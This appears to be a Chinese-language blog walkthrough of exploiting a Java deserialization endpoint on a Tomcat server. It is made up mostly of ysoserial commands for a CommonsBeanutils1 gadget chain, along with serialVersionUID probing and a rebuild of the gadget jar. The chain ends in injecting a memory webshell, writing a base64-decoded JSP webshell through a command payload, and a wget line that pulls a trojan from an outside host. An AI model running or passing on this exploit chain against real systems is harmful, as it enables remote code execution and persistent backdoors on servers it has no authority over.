漏洞路由/.remote
10.95.209.59:8080/default/.remote
1su18-探测反序列化利用链--选择使用全部类探测
https://github.com/su18/ysoserial/
坑点注意--单引号生成的大小再windows里会小了3kb导致失败
正确的双引号
java -jar ysuserial-0.9-su18-all.jar -g URLDNS -p "all:gbs.dnslog.pw" >dnslog2223.ser
失败的单引号
java -jar ysuserial-0.9-su18-all.jar -g URLDNS -p 'all:gbs.dnslog.pw' >dnslog2223.ser
POST /default/.remote HTTP/1.1
Host: 10.95.209.59:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
成功dnslog
没有延时并返回serialVersionUID对应不上的问题
serialVersionUID = 2573799559215537819
java -jar ysoserial-for-woodpecker-0.5.2-all.jar -g CommonsBeanutils1 -a "sleep:10" >CommonsBeanutils1.ser
使用延时探测是否存在--可以看到报错
gv7探测利用链--类的列表的两篇文章
https://github.com/su18/ysoserial/
原来的ysoserial-for-woodpecker-0.5.2-all.jar
是cb1.9.2的
查阅网上资料
发现当CommonsBeanutils版本1.7.0 <= <= 1.8.3的时候suid为2573799559215537819正好与目标环境对得上
并通过延时探测org.apache.commons.beanutils.ConstructorUtils类是否存在
java -jar ysoserial-for-woodpecker-0.5.2-all.jar -g FindClassByBomb -a "org.apache.commons.beanutils.ConstructorUtils|28" >suid.ser
成功延时
打包时报错
https://class.imooc.com/course/qadetail/264587
于是重新打包 ysoserial ,把依赖包 commons-beanutils修改为1.6版本对应到目标环境
https://www.runoob.com/maven/maven-setup.html
随便下个zip去解压填进path就可以了
配好maven环境就去根目录重新执行下面命令
MAVEN_HOME
D:\apache-maven-3.6.1
path
%MAVEN_HOME%\bin
mvn clean package -DskipTests
重新使用cb1.6打包的yso延时探测
java -jar ysoserial-for-woodpecker-0.5.3-all.jar -g CommonsBeanutils1 -a "sleep:10" >CommonsBeanutils1.ser
注入内存马
成功
java -jar ysoserial-for-woodpecker-0.5.3-all.jar -g CommonsBeanutils1 -a "class_file:gslFilterMemshellLoader.class" >gsl.ser
命令执行不出网写shell-如果不会打内存马或者打不成功,那最淳朴的方法就是命令执行--linux找web路径-命令执行echo写入webshell
1 || for i in `find / -type d -name WEB-INF| xargs -I {} echo {}.txt`;do echo $i >$i;done
linux_cmd
java -jar ysoserial-for-woodpecker-0.5.3-all.jar -g CommonsBeanutils1 -a "linux_cmd:1 || for i in `find / -type d -name WEB-INF| xargs -I {} echo {}.txt`;do echo $i >$i;done" >cmd.ser
http://10.95.209.59:8080/examples/WEB-INF.txt
/usr/local/apache-tomcat-8.5.83/webapps/examples/WEB-INF.txt
写shell
java -jar ysoserial-for-woodpecker-0.5.3-all.jar -g CommonsBeanutils1 -a "linux_cmd:echo base64马子 | base64 -d >/usr/local/apache-tomcat-8.5.83/webapps/examples/gsl33.jsp" >cmd.ser
以上都是不出网的打法,当然也可以写cron计划任务不过执行两次命令就没必要了,出网的当然可以下马子直接上线就好--这里就不写了和以上的linux_cmd方法一样
wget http://ip/马子 -O /tmp/马子
2 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!